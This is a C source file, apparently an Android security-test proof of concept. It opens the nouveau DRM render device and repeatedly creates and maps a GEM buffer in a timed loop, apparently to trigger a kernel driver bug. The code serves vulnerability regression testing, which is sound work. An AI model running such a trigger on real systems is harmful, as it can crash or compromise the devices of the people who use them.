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96 lines
2.3 KiB
96 lines
2.3 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/ioctl.h>
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#include <sys/prctl.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <unistd.h>
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#include "local_poc.h"
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#include "../includes/common.h"
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#define DRMDEV_NAME "/dev/dri/renderD128"
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#define MAX_MAPS 10
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static int drm_version(int fd) {
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struct drm_version ver;
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ver.name_len = 100;
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ver.date_len = 100;
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ver.desc_len = 100;
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ver.name = (char*)malloc(ver.name_len);
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ver.date = (char*)malloc(ver.date_len);
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ver.desc = (char*)malloc(ver.desc_len);
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if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
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close(fd);
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exit(EXIT_FAILURE);
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}
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return 0;
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}
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static uint32_t nouveau_gem_ioctl_new(int fd) {
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struct drm_nouveau_gem_new new_arg;
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memset(&new_arg, 0, sizeof(new_arg));
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new_arg.info.size = 0x1000;
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new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
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if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
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close(fd);
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exit(EXIT_FAILURE);
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}
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return new_arg.info.handle;
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}
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static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
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struct drm_nouveau_gem_map map_arg;
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memset(&map_arg, 0, sizeof(map_arg));
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map_arg.handle = handle;
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map_arg.length = 0x1000;
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if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
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close(fd);
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exit(EXIT_FAILURE);
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}
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}
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int main() {
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int fd;
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time_t test_started = start_timer();
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while (timer_active(test_started)) {
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fd = open(DRMDEV_NAME, O_RDWR);
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if (fd < 0) {
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return -1;
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}
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drm_version(fd);
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uint32_t handle = nouveau_gem_ioctl_new(fd);
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for (int i = 0; i < MAX_MAPS; i++) {
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nouveau_gem_ioctl_map(fd, handle);
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}
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close(fd);
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}
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return 0;
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}
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